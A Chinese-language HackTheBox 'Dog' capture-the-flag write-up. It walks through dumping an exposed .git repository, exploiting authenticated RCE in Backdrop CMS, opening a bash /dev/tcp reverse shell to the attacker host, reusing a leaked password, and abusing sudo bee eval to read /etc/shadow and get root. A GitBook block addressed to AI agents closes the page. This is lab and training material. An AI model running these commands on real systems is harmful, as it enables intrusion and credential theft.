> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md). # Dog HackTheBox 详解 {% embed url="" %} {% hint style="warning" %} **技能：** * 从 .git 文件夹中提取信息（信息泄露） * 已认证远程代码执行（Backdrop CMS） * 横向移动（密码复用） * sudo bee 二进制文件（执行 PHP 代码）（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts ```

**使用 Nmap 对 22、80 端口进行版本扫描：** 使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中： ```bash nmap -sCV -p22,80 10.10.11.58 -oN targeted ```

### 端口 80 - HTTP

我们发现一个 **.git** 目录，表明可能存在一个可公开访问的 Git 仓库。该站点使用 **Backdrop** CMS。

**使用 Gobuster 进行枚举** ```bash gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 我们发现了几个有趣的目录，包括 **.git**.

**Git 仓库转储** 我们使用以下命令获取仓库内容： ```git git-dumper http://10.10.11.58/.git .git ```

我们发现一个 **settings.php** 包含密码的文件：

我们使用以下命令搜索保存的电子邮件： ```bash find .git -type f -exec grep -E '@dog' {} + ``` 我们找到以下电子邮件： ****.

## **Backdrop CMS 利用（RCE）** 我们使用找到的凭据连接到 CMS。

**搜索漏洞** 使用 **searchsploit**，我们发现一个 RCE 漏洞： ```bash searchsploit -m php/webapps/52021.py ```

我们运行该漏洞利用： ```bash python3 52021.py http://10.10.11.58 ``` 这会生成一个包含 PHP shell 的 ZIP 文件。

然后我们将 shell 压缩为 **tar.gz**: ```bash tar -czvf shell.tar.gz shell ```

我们通过以下方式注入它： **admin / installer / manual**.

**命令执行** 我们找到一个文件夹 **modules/cmd/** 包含 **cmd.php**

使我们能够执行命令： ```bash ifconfig ```

### **Backdrop CMS 反向 Shell** 我们在 443 端口上开启一个监听器： ```bash nc -nlvp 443 ``` 我们注入一个载荷： ```bash bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1" ```

连接后，我们稳定 shell： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## **权限提升** ### **横向移动到用户 johncusack** 我们列出具有有效 Bash shell 的用户： ```bash cat /etc/passwd | grep "/bash" ``` 我们找到 **root、jobert 和 johncusack**.

我们尝试复用这些凭据，并通过以下方式获得访问： ```bash su johncusack BackDropJ2024DS2024 ```

### user.txt 标志 :)

### **使用 Bee 二进制文件进行权限提升** 我们检查 sudo 权限： ```bash sudo -l ``` 我们可以运行 **/usr/local/bin/bee** 以 root 身份。

**分析 Bee** {% hint style="info" %} Bee 是一个用于 **Backdrop CMS**的管理工具，类似于 **Drush** 之于 Drupal。它允许执行各种命令。 {% endhint %} `用法：bee [全局选项] [选项] [参数]`

我们找到了 **eval** 选项，它允许执行任意 PHP 代码。

**读 `/etc/shadow`** {% code overflow="wrap" %} ```bash sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");' ``` {% endcode %}

**已获取 Root Shell** {% code overflow="wrap" %} ```bash sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");' ``` {% endcode %}

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.